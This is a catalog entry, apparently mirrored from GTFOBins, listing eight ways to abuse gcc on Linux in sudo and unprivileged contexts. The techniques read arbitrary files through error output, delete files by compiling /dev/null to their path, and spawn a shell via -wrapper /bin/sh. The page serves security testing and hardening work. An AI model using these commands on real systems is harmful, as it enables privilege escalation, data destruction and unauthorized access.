CatalogGTFOBins

GTFO · Tool

gcc

8 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux
gcc -x c -E /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadLinux
gcc -x c -E /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The file is read and parsed as a list of files (one per line), the content is displayed as error messages.

gcc @/path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadLinux

The file is read and parsed as a list of files (one per line), the content is displayed as error messages.

gcc @/path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege EscalationLinux

This actually deletes the file.

gcc -x c /dev/null -o /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WriteLinux

This actually deletes the file.

gcc -x c /dev/null -o /path/to/input-file
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-write
MITRE
T1565

shell

ExecutionPrivilege EscalationLinux

In some older versions, the `x` argument must instead reference any existing file.

gcc -wrapper /bin/sh,-s x
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux

In some older versions, the `x` argument must instead reference any existing file.

gcc -wrapper /bin/sh,-s x
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059